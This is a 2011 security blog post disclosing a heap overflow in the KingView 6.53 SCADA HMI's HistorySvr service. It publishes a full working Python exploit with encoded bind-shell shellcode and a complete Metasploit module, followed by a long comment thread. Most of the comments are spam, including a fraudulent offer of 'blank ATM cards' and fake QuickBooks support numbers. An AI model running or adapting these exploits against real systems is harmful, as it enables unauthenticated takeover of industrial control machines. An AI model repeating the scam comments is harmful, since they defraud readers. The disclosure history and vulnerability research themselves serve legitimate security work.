Sunday, January 9, 2011

Waking up the sleeping dragon

On September 28, 2010 I notified Beijing based WellinControl Technology Development Co.,Ltd  and CN-CERT that one of Wellintech's products had a very serious security vulnerability, and that if properly leveraged would allow an attacker to exploit the bug and execute arbitrary code. The vendor and China's National Computer Network Emergency Response Team never responded to my email or the follow up email sent out by US-CERT.  Keep in mind this is not any old software. The vulnerability affects one of the most widely trusted and used supervisory control and data acquisition applications in China.

KingView 6.53 

KingView 6.53



















Download

While I found it extremely disappointing that Wellintech never responded to my disclosure, I was far more bothered with the fact that CN-CERT never responded. What are they doing over there?

However, US-CERT responded within a few weeks of disclosing the vulnerability. US-CERT explained in the email that their team would notify the vendor and respond back with more information as it became available.

They even took the time to express appreciation in a follow up email for disclosing the vulnerability. I must admit, it would have been nice to have received a prompt response from CN-CERT at least letting me know that they received the information and would look into it...

Is this CN-CERT's standard operating procedure?  We know what happens when important security vulnerability disclosures go unaddressed for long periods of time.

Moreover, after waiting several months to see if Wellintech would quietly issue a patch to fix the security vulnerability they didn't. I made a decision to develop a working exploit with code execution to prove that this wasn't just another "software bug".

My initial disclosure to the vendor contained enough pertinent information and the proof of concept code to trigger the bug and overwrite pointers in memory thus allowing arbitrary code code execution.

Vulnerable HistorySvr.exe KingView Process Heap Overflow


What was the problem I asked myself? Why did they fail to respond? Did they want code execution? Why not just fix the vulnerability?

One of my colleagues at NSS Labs has a saying...

"It's hard to argue with a shell" -- Rick Moy

Here it is, a tiny little tcp bind shell courtesy of the Metasploit Framework

Hopefully this will be an incentive to issue a patch to all of Wellintech's customers. :-) 

----snip----

## usage python exploit.py 127.0.0.1 777

import os
import socket
import sys

host = sys.argv[1]
port = int(sys.argv[2])

print " KingView 6.53 SCADA HMI Heap Smashing Exploit "
print " Credits: Dillon Beresford | twitter.com/D1N "

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,
# AutoRunScript=
buf = ("\xdd\xc4\xd9\x74\x24\xf4\x5a\x33\xc9\xbe\xeb\x5d\x85\x19"
"\xb1\x56\x31\x72\x18\x83\xea\xfc\x03\x72\xff\xbf\x70\xe5"
"\x17\xb6\x7b\x16\xe7\xa9\xf2\xf3\xd6\xfb\x61\x77\x4a\xcc"
"\xe2\xd5\x66\xa7\xa7\xcd\xfd\xc5\x6f\xe1\xb6\x60\x56\xcc"
"\x47\x45\x56\x82\x8b\xc7\x2a\xd9\xdf\x27\x12\x12\x12\x29"
"\x53\x4f\xdc\x7b\x0c\x1b\x4e\x6c\x39\x59\x52\x8d\xed\xd5"
"\xea\xf5\x88\x2a\x9e\x4f\x92\x7a\x0e\xdb\xdc\x62\x25\x83"
"\xfc\x93\xea\xd7\xc1\xda\x87\x2c\xb1\xdc\x41\x7d\x3a\xef"
"\xad\xd2\x05\xdf\x20\x2a\x41\xd8\xda\x59\xb9\x1a\x67\x5a"
"\x7a\x60\xb3\xef\x9f\xc2\x30\x57\x44\xf2\x95\x0e\x0f\xf8"
"\x52\x44\x57\x1d\x65\x89\xe3\x19\xee\x2c\x24\xa8\xb4\x0a"
"\xe0\xf0\x6f\x32\xb1\x5c\xde\x4b\xa1\x39\xbf\xe9\xa9\xa8"
"\xd4\x88\xf3\xa4\x19\xa7\x0b\x35\x35\xb0\x78\x07\x9a\x6a"
"\x17\x2b\x53\xb5\xe0\x4c\x4e\x01\x7e\xb3\x70\x72\x56\x70"
"\x24\x22\xc0\x51\x44\xa9\x10\x5d\x91\x7e\x41\xf1\x49\x3f"
"\x31\xb1\x39\xd7\x5b\x3e\x66\xc7\x63\x94\x11\xcf\xad\xcc"
"\x72\xb8\xcf\xf2\x65\x64\x59\x14\xef\x84\x0f\x8e\x87\x66"
"\x74\x07\x30\x98\x5e\x3b\xe9\x0e\xd6\x55\x2d\x30\xe7\x73"
"\x1e\x9d\x4f\x14\xd4\xcd\x4b\x05\xeb\xdb\xfb\x4c\xd4\x8c"
"\x76\x21\x97\x2d\x86\x68\x4f\xcd\x15\xf7\x8f\x98\x05\xa0"
"\xd8\xcd\xf8\xb9\x8c\xe3\xa3\x13\xb2\xf9\x32\x5b\x76\x26"
"\x87\x62\x77\xab\xb3\x40\x67\x75\x3b\xcd\xd3\x29\x6a\x9b"
"\x8d\x8f\xc4\x6d\x67\x46\xba\x27\xef\x1f\xf0\xf7\x69\x20"
"\xdd\x81\x95\x91\x88\xd7\xaa\x1e\x5d\xd0\xd3\x42\xfd\x1f"
"\x0e\xc7\x0d\x6a\x12\x6e\x86\x33\xc7\x32\xcb\xc3\x32\x70"
"\xf2\x47\xb6\x09\x01\x57\xb3\x0c\x4d\xdf\x28\x7d\xde\x8a"
"\x4e\xd2\xdf\x9e"
"\xff\xd1\x90\x90")

exploit = ("\x90" * 1024 + "\x44" * 31788)
exploit += ("\xeb\x14") # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += buf

print "  [+] Herrow Sweeping Dragon..."
print "  [+] Sending payload..."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host,port))
s.send(exploit) 
data = s.recv(1024)

print "  [+] Closing connection.."
s.close() 
print "  [+] Done!"
------------

Metasploit Module for the KingView historysvr.exe works with XP SP3.


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,

'Name'        => "KingView 6.53 SCADA HMI HistorySvr Heap Overflow",
'Description' => %q{
This module exploits a buffer overflow in Kingview 6.53.  By sending a specially
crafted request to port 777 (HistorySvr.exe), a remote attacker can
gain arbitrary code execution without authentication and take control of
the machine running KingView 6.53
},
'License'  => MSF_LICENSE,
'Version'  => "$Revision$",
'Author'      =>
[
'Dillon Beresford',
'Rick2600',
],
'References' =>
[
['CVE', '2011-0406'],
['OSVDB', '70366'],
['Bugtraq', '45727'],
['URL', 'http://www.exploit-db.com/exploits/15957'],
['URL', 'http://www.kb.cert.org/vuls/id/180119'],
['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space'    => 12000,
'BadChars' => "\x00\x0d\x0a\xff",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 ENG',
{
'Ret' =>   0x7c997ca9, # ntdll.dll jmp ecx
'Offset' => 31752, # method by D1N
}
],
[ 'Windows XP SP3 ENG 2',
{
'Ret' => 0x7C9A432B, # ntdll.dll jmp ecx
'Offset' => 31752, # method by rick2600
}
],
[ 'Windows XP SP1 ENG',
{
'Ret' => 0x77ED73B4, # UnhandledExceptionFilter() in kernel32.dll
'Offset' => 31788,
}
],
[ 'Debug',
{
'Ret' => 0x41424344, # Debug
'Offset' => 31788,
}
]
],

'DisclosureDate' => "9/28/2010",
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(777) ], self.class )
end

def exploit
sploit = ''

if target.name =~ /XP SP3 ENG/
#d1n
sploit = make_nops(1024)
sploit << payload.encoded
sploit <<  rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << Rex::Arch::X86.jmp_short(4)
sploit << make_nops(6)
sploit << "\xe9\x08\x80"
sploit << "\xff\xff"

elsif target.name =~ /XP SP3 ENG 2/
#rick2600
sploit = "\x90" * 1024
sploit << payload.encoded
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')
sploit << "\x00"  # PAD
sploit << "\x81\xE9\x08\x80\x00\x00" # SUB ECX,0x8008
sploit << "\xFF\xE1" # JMP ECX

elsif target.name =~ /XP SP1 ENG/
#rick2600 and d1n
sploit << "\x90"*1024
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << "\xEB\x10"
sploit << "\x41"*6
sploit << "\xAD\xBB\xC3\x77"
sploit << [target.ret].pack('V')
sploit << "\x90"*8
sploit << payload.encoded
sploit << "\x44"*1000-sploit.length

elsif target.name =~ /Debug/

sploit << "\x90"*1024
sploit << payload.encoded
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')

end

connect

sock.put(sploit)
sock.get_once

handler
disconnect

end
end

------------


Or you can grab it from Exploit-DB

At the time of this blog post, the vulnerable SCADA software is still available on Wellintech's website for download and presumably running at various critical infrastructure sites in CHINA. I have recently contacted US-CERT again, but this time through my employer just to check if the vendor had responded, the folks from US-CERT told me they still hadn't received any response from Wellintech.

At this point the only thing left for me to do was share the information with the security community and send it over to the good people at Exploit-DB.

A special thanks to the guys over at Metasploit for their handy rapid exploit development modules and some brave souls like David Litchfield, Dave Aitel and Steven Seeley who have sacrificed countless hours of time writing up tutorials on heaps. :-)

I'm not sure whats worse, a 0day for the most popular SCADA software in China floating around in the wild or a team of security professionals from China's CERT sleeping behind the wheel.

-D1N

273 comments:

  1. Probably CN-CERT does not understand English

    ReplyDelete
    Replies
    1. I got my already programmed and blanked ATM card to withdraw the maximum of $1,000 daily for a maximum of 20 days. I am so happy about this because i got mine last week and I have used it to get $20,000. Mike Fisher Hackers is giving out the card just to help the poor and needy though it is illegal but it is something nice and he is not like other scam pretending to have the blank ATM cards. And no one gets caught when using the card. get yours from Mike Fisher Hackers today! *email cyberhackingcompany@gmail.com


      Delete
  2. If they don't understand English they shouldn't be on _any_ CERT.

    ReplyDelete
  3. Quick question - what is Kingview using TCP777 for anyway? Not Multiling HTTP I suspect. A homegrown SCADA P2P?

    ReplyDelete
  4. Oops - answered my own question:
    "The HistorySrv process listens on TCP port 777".

    ReplyDelete
  5. Could CN-CERT be actively accepting vulnerability disclosures and handing them off to the PLA ? I am not accusing them, just wondering if that could be a possibility?

    ReplyDelete
  6. Hey thanks for the plug mate, quite a reliable exploit ;) well done.

    ReplyDelete
  7. http://www.us-cert.gov/control_systems/ics-cert/

    ReplyDelete
  8. We are so thankful for your kindness to let us know the shortage of our software. With your help we have fixed the problem and US-CERT has verified the patch we have release on Dec.15,2010.

    We are really appreciated for what you have done for us.

    Thank you again.

    Luna Kan (On behalf of WellinTech)

    ReplyDelete
  9. CNCERT mainly focus on developing and maintaining their national censorship system AKA GFW...
    next time try www.cnvd.org.cn or www.cnnvd.org.cn
    ChinaNational Vulnerability Database of Information Security

    ReplyDelete
  10. Based on your comments write my essay paper for me above, here are two articles which you might find helpful:

    ReplyDelete
  11. Hello everybody! My name is Ketrin and i am 26 years old girl from Europe. But anyway i still work at english writing service Proessays. I really love my work and i know that this is one of the best writing services in internet. If you need some help with essay or other study work then just join our site and Proessays will help you. You will know also how to write an essay.

    ReplyDelete
  12. Custom Popcorn Boxes and Popcorn Packaging was not that up to the mark before the advent of the Plus Printers in the market!

    ReplyDelete
  13. Custom popcorn Boxes is available at amazingly low prices with the best work. We have a large number of blank popcorn Boxes and bulk of popcorn Boxes in all over the USA.

    ReplyDelete
  14. Our printing started life exactly fifteen years back and today we are one of the business pioneers in online item box printing custom product packaging.

    ReplyDelete
  15. So why choose us when looking for professional assistance on writing successful medical school essays ? The answer is obvious. We are the team that conceals no information from our customers. You are always welcome to browse our reviews section to discover how satisfied our customers are. We are very proud of our good name and reputation and we are happy to see every single positive response and evaluation of our best practices. From the number of positive responses on our website you may see that we excel ourselves to meet the highest standards you require and we are extremely good at that.

    The fact that you are on http://medicalschoolexamprofessor.com right now means you have found a company of professional essay writers you can trust. A reputable team of highly educated and vastly experienced essayists, we will make sure that the piece of writing you purchase from us is the best one you can imagine. The writers from our agency have the necessary education to give you a very good argumentative essay on health care or an original research paper on health care because health care issues are among the most prioritized directions of our business.

    ReplyDelete
  16. Custom Lipstick Boxes is available at amazingly low prices with the best work. We have a large number of blank lipstick boxes and bulk of lipstick packaging in all over the USA.



    ReplyDelete
  17. Custom perfume Boxes is available at amazingly low prices with the best work. We have a large number of blank perfume boxes and bulk of perfume packaging in all over the USA.

    ReplyDelete
  18. I truly appreciate this article.Really looking forward to read more. Keep writing.

    research paper title

    ReplyDelete
  19. Дякуємо. Нехай всі хороші речі прийдуть до вас. До побачення


    cửa lưới chống muỗi

    lưới chống chuột

    cửa lưới dạng xếp

    cửa lưới tự cuốn

    ReplyDelete
  20. Hey thanks for the plug mate, quite a reliable exploit ;) well done.
    custom Packaging Boxes usa

    ReplyDelete
  21. Life does not give us anything. What life gives us is priced discreetly.

    Red ruby ​​stone( Đá ruby đỏ ), Male red ruby ​​stone ring(nhẫn đá ruby đỏ nam), Red ruby ​​stone bracelet( vòng tay đá ruby đỏ )

    ReplyDelete
  22. Buy Premium embroidered Lawn 2019 Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  23. Хүн бүр байж болно(học toán cho trẻ mẫu giáo) өөр шалтгаантай(toán cho trẻ 5-6 tuổi) тэдний амьдрал өөрсдийнх нь амьдардаг.(toán cho bé 5 tuổi) Та эдгээр нь бүгд ижил шалтгааныг conflate чадахгүй.

    ReplyDelete
  24. The Custom boxes is One-stop shop for custom printed boxes and custom boxes packaging wholesale that fit to your budget.

    ReplyDelete
  25. Brands Routers majorly use 192.168.l78.1 Admin Login password in their Modem devices to setting up the network connection. If you are accessing your admin page by typing 192.168.l78.1 into your web address bar, then you are must be using your Routers from Countries like Germany, Netherlands, Switzerland, Austria, Namibia & neighbouring. Most commonly, FRITZ!Box use the http //192.168.l78.1 as the default IP Address for their routers.

    ReplyDelete
  26. The Custom boxes is One-stop shop for custom printed boxes and custom boxes packaging wholesale that fit to your budget.

    ReplyDelete
  27. We offer short & long term custom boxes & packaging solutions including pop, floor & pallet displays, protective, medical, cosmetic & plastic packaging at Yebo.custom boxes and packaging in various Welcome to Custom Box Service! You're on.

    ReplyDelete
  28. Are you searching for 10ml Bottle Boxes? you're on the right place to induce
    top of the range custom printed 10 bottle boxes. Custom Packaging Co. is giving you bulk cardboard boxes from
    the last ten years. we have a tendency to a square measure dealing all told types of custom bottle boxes in custom styles, styles, shapes, and colors.
    Custom Bottle Boxes has to style as per your company stigmatization. Our
    production team forever able to assist you together 15ml Bottle Boxes with your customization.

    ReplyDelete
  29. Brilliant Packaging Suppliers offering you custom packaging boxes solutions as per your requirements from last 10 year’s. We have updated and advanced technology to ensure all the custom packaging boxes we make higher quality. The box printing process that we are using offset printing, screen printing, digital printing. Customer 100% satisfaction is our first priority and we try our best to come up with products. We’re using the best environment and customer friendly raw stock for printing custom boxes without affecting the US standard quality. We are custom printed boxes all box shapes and sizes that you want. We are offering you professional designing services at zero $ cost. All the experienced and professional designers are ready to prepare your brand artwork. Before order, all the customer want to know about turnaround time. Our turnaround time is 10-12 working day. Your order will be at your doorstep in commented time. We are only offering our services in the US and UK. Please discuss with our experts, they are avail on Live chat, Phone call, and email.

    ReplyDelete
  30. Brilliant Packaging Suppliers offering you custom packaging boxes solutions as per your requirements from last 10 year’s. We have updated and advanced technology to ensure all the custom packaging boxes we make higher quality. The box printing process that we are using offset printing, screen printing, digital printing. Customer 100% satisfaction is our first priority and we try our best to come up with products. We’re using the best environment and customer friendly raw stock for printing custom boxes without affecting the US standard quality. We are custom printed boxes all box shapes and sizes that you want. We are offering you professional designing services at zero $ cost. All the experienced and professional designers are ready to prepare your brand artwork. Before order, all the customer want to know about turnaround time. Our turnaround time is 10-12 working day. Your order will be at your doorstep in commented time. We are only offering our services in the US and UK. Please discuss with our experts, they are avail on Live chat, Phone call, and email.

    ReplyDelete
  31. You have not read the post thoroughly, I think. Because they have mentioned the solutions for retail packaging too. I found it quite helpful.

    ReplyDelete
  32. Packaging News Online are presents a free packaging news on this website.

    ReplyDelete
  33. We have prepared nostalgic 70s hairstyles that you would like to try in concept parties or daily life in accordance with your facial features. Flashback! You can try the most trendy hairstyles of the period with the most beautiful hairstyles of the 1970s.
    70s hairstyles

    ReplyDelete
  34. Good Job,thanks for sharing this informatie article with us

    ReplyDelete
  35. If you are new user to sage 50 accounting software and looking for the sage 50 technical support.If yes than you have come to right place as we provide efficient technical support service to customers who show complete faith in us. With our efficient and highly qualified team ,we never disappoint our customers.You can reach us at 1800-961-4623 at any hour of the day. You can also visit our website at https://www.helplinenumber.support/ for the complete knowledge of the sage products and services.

    The Services we offered are following-


    Sage 50 payroll support number

    Sage 50 Technical Support Number United Kingdom

    Sage 50 Technical Support Ireland

    Sage 50 Technical Support South Africa

    Sage 50 Technical Support Phone Number Canada

    ReplyDelete
  36. This comment has been removed by the author.

    ReplyDelete
  37. This is Very very nice article. Everyone should read. Thanks for sharing. Don't miss WORLD'S BEST ImpossibleStuntCarTracks3DGame

    ReplyDelete
  38. Cosmetic Boxes Packaging is available 24/7 hours to full fill your requirements relate to boxes of different cosmetic products. They offer customized boxes at wholesale rates.

    ReplyDelete
  39. Buy kurta collection Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now

    ReplyDelete
  40. The Custom Boxes Print.us has opensd new avenues for custom boxes.Our four colour digital and printing services permit you to possess excellent quality personalised packaging. acquire the box you wish U.S.A. to print from our large choice of product.
    The Custom Packaging Boxes
    Custom Boxes Wholesale

    ReplyDelete
  41. Buy men kurta collection Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  42. Buy men kurta collection Online for men's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  43. Buy kurta collection Online for men's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now

    ReplyDelete
  44. Buy kurta collection Online for men's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  45. This comment has been removed by the author.

    ReplyDelete
  46. This comment has been removed by the author.

    ReplyDelete
  47. هر رشته ای دارای زبان تخصصی است برای ترجمه تخصصی پزشکی حتما باید به کسی مراجعه کرد که در این زمینه تجربه و تخصص کافی را داشته باشدترجمه تخصصی مقاله را نمی شود با مترجم گوگل انجام داد و حتما نیاز به کاربلد در این زمینه دارد. دانشجویان رشته کامپیوتر و فناوری اطلاعات به دنبالترجمه تخصصی کامپیوتر هستند و ما به آن ها کمک گرفتن از سایت ترجمه آنلاین را پیشنهاد می کنیم. سفارش ترجمه فوری بسیار آسان است. ترجمه آنلاین ارزان ترین ترجمه تخصصی را با بهترین کیفیت در اختیار شما قرار می دهد.

    ReplyDelete
  48. Buy winter collection 2020 Online for Women's at best prices available at alman. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  49. Buy winter collection Online for Women's at best prices available at alman. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  50. Buy winter collection Online for Women's at best prices available at alman. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  51. Buy winter collection Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  52. What a nice blog! I have enjoyed reading through the article although I landed tubidy mobile video Download and Convert tubidy mobi Millions of Youtube Videos online,3gp mp4 HD 4k Videos.
    apksplashtubidy mp3on this site while I wa

    ReplyDelete
  53. Buy premium winter collection Online for Women's at best prices available at alman. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  54. Good job for writing such a valuable internet site. Your online wood isn't only of use but it is moreover actually innovative too. amazing good morning images hd, happy world chocolate day images, happy world rose day images, download beautiful images of friendship, love images for mobile, good afternoon love, valentine day images hd, good night images with love, love and miss you images
    There are generally very few persons who will undoubtedly write not easy threads that artistically. Continue the nice writing

    ReplyDelete
  55. Buy lawn collection Online for Women's at best prices available at alman. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  56. Paper Bird Cosmetic Gift Boxes have become this new vibe that everybody is going amped accessible. You would see them all over electronic life and even online affiliations are selling them now. While a few people are spurned by utilizing shower bombs, there are different people who discover it incredibly flabbergasting. Everything thought of it as, is by no means difficult to make your shower time entrancing in the event that you cause them to paralyze shower bombs. They in a general sense join such a ton of charming to your shower time.


    https://www.paperbirdpackaging.com/product-industry/custom-cosmetic-packaging

    ReplyDelete
  57. Buy winter collection 2019 Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  58. we are providing online shoping store with quality products.
    https://www.eshoppy.com/
    eshopy

    ReplyDelete
  59. This comment has been removed by the author.

    ReplyDelete
  60. Class College Education training Beauty teaching university academy lesson  teacher master student  spa manager  skin care learn eyelash extensions tattoo spray

    ReplyDelete
  61. Strikingly sports fans are potentially at an unbelievable reasonable position. You can locate the standard distractions channels on the web. Today you can watch international sporting events online with video gushing. medios independientes

    ReplyDelete

  62. Class College Education training Beauty teaching university academy lesson teacher master student spa manager skin care learn eyelash extensions tattoo spray

    daythammynet
    daythammynet
    daythammynet
    daythammynet
    daythammynet
    daythammynet
    daythammynet
    daythammynet
    daythammynet

    ReplyDelete
  63. Check out these amazing Sims 4 Vampire Cheats . By the amazing website name gtacheatcode.com

    ReplyDelete
  64. You have give great idea to us.IF you think about this so it really work Booken

    ReplyDelete
  65. Awesome idea! Thanks for sharing this information.

    ReplyDelete
  66. Awesome idea! Thanks for sharing this information.

    ReplyDelete
  67. I Found the write place after lot of search on google. i am in write place where i can get an informative thing. Thank you for posting
    this amazing post and trick and keep continue writing these amazing tricky informative blog.

    ReplyDelete
  68. Thanks for helping out, great information.

    ReplyDelete
  69. tubidy videoFree Thats really fabulous pose,
    Just want to share about Hurray
    Hurray is one of the leading IELTS/PTE Institute in Bangalore, providing Coaching both Online and classroom training to students who want to clear their exam in one go.
    tubidy mp3tubidy video

    Music is a type of workmanship that includes sorted out and perceptible sounds and quiet. It is regularly communicated as far as pitch (which incorporates song and agreement), beat (which incorporates rhythm and meter), and the nature of sound (which incorporates timbre, enunciation, elements, and surface).Awesome and interesting article. Great things you've always shared with us. Thanks. Just continue composing this kind of post. Read also – gta san andreas cheats ps2 and for more cheats

    ReplyDelete




  70. Nice post mate, keep up the great work, just shared this with my friendz
    lawn collection

    ReplyDelete
  71. Cool stuff you have got and you keep update all of us.

    summer collection

    ReplyDelete


  72. This is actually the kind of information I have been trying to find. Thank you for writing this information.
    summer lawn collection

    ReplyDelete
  73. Get Your Custom Product Packaging Wholesale Boxes with Logo Made in Custom Shapes, sizes, and layouts. Product Packaging fulfil this requirement. We offer quality and error-free packaging services with free shipping in all UK.Get Your's .

    ReplyDelete
  74. We are an independent accounting firm who is committed to providing 24/7 service to clients for Quickbooks as well as for its different-different functions and QuickBooks tools that any user use while working with company file, generating receipts, monitoring or tracking inventory records, customer or client records, during tax preparation or tax calculation. For all kind Quickbooks services related to these or any other our experts Quickly respond.

    QuickBooks Support Phone Number
    QuickBooks Error Support Phone Number
    QuickBooks Technical Support Phone Number
    QuickBooks Payroll Support Phone Number
    QuickBooks Enterprise Support Phone Number
    QuickBooks Desktop Support Phone Number
    QuickBooks Online Support Phone Number
    QuickBooks Proadvisor Phone Number
    QuickBooks Error 3371 Status Code 11118

    ReplyDelete


  75. Ice cream cone sleeves are very important for the marketing and branding of ice cream brands. They are good for the small and medium scale business. So, by following these tips, you can get your business at the next level.

    ReplyDelete
  76. To make your foot strong in the industry, it is mandatory to ship your products with high security to the customers. So, you must aware of the reasons and logic that make your custom cartons perfect for shipping.
    Candle boxes

    ReplyDelete
  77. Thank you very much for taking the time and sharing this useful information with us. It was indeed very helpful and insightful. Even the best Toric Eye lenses in Pakistan are necessary.

    ReplyDelete
  78. It is appropriate time to make some plans for the longer term and it is time to be happy. I have read this put up and if I may I desire to counsel you few fascinating issues or tips. Maybe you could write subsequent articles referring to this article. I want to read even more issues approximately it! Medical Marijuana,
    Quality Marijuana,
    Recreational Cannabis Store,

    ReplyDelete
  79. Thanks for sharing! if you need high quality custom pillow packaging this is right place.
    Custom pillow packaging.

    ReplyDelete
  80. QuickBooks error code 6129 is seen on the screen, when the database connection verification failure, or when the software is looking to access the company files. This actually results in forbidding the user to open the company file. This error can be a bit annoying for the users to handle, but we will ease the process for you, by discussing the causes and fixes for it.

    QuickBooks error code 6129
    QuickBooks error code -6129 0
    QuickBooks error 6129
    QuickBooks error -6129
    QuickBooks Desktop error 6129
    QuickBooks Desktop error code 6129
    Error Code 6129 in QuickBooks
    6129 Error in QuickBooks Desktop

    ReplyDelete
  81. Users are getting a QuickBooks Error Code 15101 or the series of 15000 while updating the Payroll or QuickBooks. You should check for anything that can cause the problem on that computer. QuickBooks provides 24/7 services to resolve the issues of QuickBooks Users. Dial QuickBooks Error Support Phone Number +1844-857-4846.

    QuickBooks Error 15101
    QuickBooks Error Code 15101
    QuickBooks Update Error 15101
    QuickBooks Payroll Error 15101
    QuickBooks Desktop Error 15101
    Error 15101 in QuickBooks
    Update Error 151010 in QuickBooks
    Payroll Error 15101
    QuickBooks Error 6073

    ReplyDelete
  82. QuickBooks accounting software is trusted and preferred by professionals all across the globe. It has created a buzz in the accounting and bookkeeping industry, since its inception. Today’s we will be talking about the QuickBooks error code 6175. If you are facing any such error and don’t know what to do, then go through a call us at 1844-857-4846 till the end. However, a quick fix for the same can be to consult a professional with renowned knowledge and experience.

    QuickBooks Error 6175
    QuickBooks Error 6175, 0
    QuickBooks Error Code 6175
    QuickBooks Error Code 6175 0
    QuickBooks Company file Error 6175
    QuickBooks Desktop Error 6175

    ReplyDelete
  83. Have you ever face a problem due to QuickBooks error 6190 816? Do you want to know how to fix this error and why this error occurs? Do you know how to fix QuickBooks error 6190 816? If No, then Don’t take the stress anymore Contact our QuickBooks Error Support Team for Instant Help. Here, we are going to share step-by-step instructions to resolve QuickBooks error 6190 816.

    QuickBooks error 6190 816
    QuickBooks error Code 6190 816
    QuickBooks error 6190 and 816
    QuickBooks error -6190 -816
    QuickBooks error code -6190 -816
    QuickBooks error code 6190 and 816
    QuickBooks error 6190 -816
    QuickBooks error -6190 -816

    ReplyDelete
  84. One error code that may cause work disruption for users is QuickBooks Error 15311. In this post we will discuss about this error’s possible causes and the beast troubleshooting steps to permanently resolve these type of errors. In case the QuickBooks Error 15311 still exists, you can contact our 24×7 QuickBooks payroll support team at +1 844 857 4846. With us, you can expect speedy and accurate QuickBooks related issues.

    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311
    QuickBooks Error 15311

    ReplyDelete
  85. When a QB user is making an attempt to open QB, QuickBooks Error 7149 seems on the screen with the subsequent message – there’s a tangle with QuickBooks and it’s needed that the program is closed. For further details dial QuickBooks support phone number. Experts will solve your every query.

    QuickBooks Error Code 7149
    QuickBooks Run Time Error 7149

    ReplyDelete
  86. A very high level post with a knowledgeable information .thanks you for giving me such a nice information. If you need any college level Assignment Help at reliable quality with better work. If you are thinking about steps to HP print service, then talking to our professionals can be a great help. We are in this industry for years!

    ReplyDelete

  87. Excellent information providing by your blog, thank you for taking the time to share with us such a nice blog. Amazing insight you have on this, it's nice to find a website that details so much information about this topic. Roku device will allow you to watch free and paid video content on your TV or another device via the Internet. Roku media streaming device comes with an operating system that helps the users to use and manage the internet streaming content. During this Pandemic Roku.com/link activation code is also launched.

    ReplyDelete
  88. informative!
    Worried about QuickBooks Support ? if you are not able to fix QuickBooks Problem, get in touch with QuickBooks expert for instant solution.
    Dial QuickBooks Support Phone Number Arizona 1-844-908-0801
    QuickBooks Support Phone Number Arizona

    ReplyDelete
  89. How to Create a Digital Marketing Strategy from Start to Finish. Determine What You Want to Accomplish. Understand the Digital Sales Funnel. Create Buyer Personas. Determine Where to Find Users At All Funnel Stages. Implement Specific Guidelines to Reach Your Goals. Incorporate Automation & Personalization.

    ReplyDelete
  90. Chicago Bears Game Live Streaming Football Online Bears Gameday Online The Chicago Bears are a professional NFL team based in Chicago. You can watch Chicago Bears game live streaming online. Get the latest Chicago Bears schedule, TV channel, news update here.

    ReplyDelete
  91. Philadelphia Eagles Game Live Streaming Football Online Eagles NFL Game Live The Philadelphia Eagles are a professional NFL team based in Philadelphia. You can watch Philadelphia Eagles game live streaming online. Get the latest Philadelphia Eagles schedule, TV channel, news updates.

    ReplyDelete
  92. This comment has been removed by the author.

    ReplyDelete
  93. QuickBooks computerizes numerous parts of dealing with your showing by figuring deals charge, following items and naturally refreshing exchanges in your register, client and merchant zones. By dialing our cost pardon Quickbooks customer service phone number +1-888-7888-057. Furthermore, alongside back the put in progress to of Remote Access Technology, we lead the clients who use QuickBooks Accounting Software. more info visit here: https://www.quicktenda.com/services.html

    ReplyDelete
  94. For needing further support with QuickBooks, dial our QuickBooks Helpline Number 1-8887888057 NJ and fix your inquiries with 24*7 assistance. intuit QuickBooks Helpline Number 1-888-788-8057 and experience the world-class organization and that too inside your budgetary arrangement. more info see here: https://www.quicktenda.com/about.html

    ReplyDelete
  95. I Found the write place after lot of search on google. i am in write place where i can get an informative thing.Thank you for posting this amazing post and trick and keep continue writing these amazing tricky informative blog.

    ReplyDelete
  96. I Found the write place after lot of search on google. i am in write place where i can get an informative thing.Thank you for posting this amazing post and trick and keep continue writing these amazing tricky informative blog.

    ReplyDelete
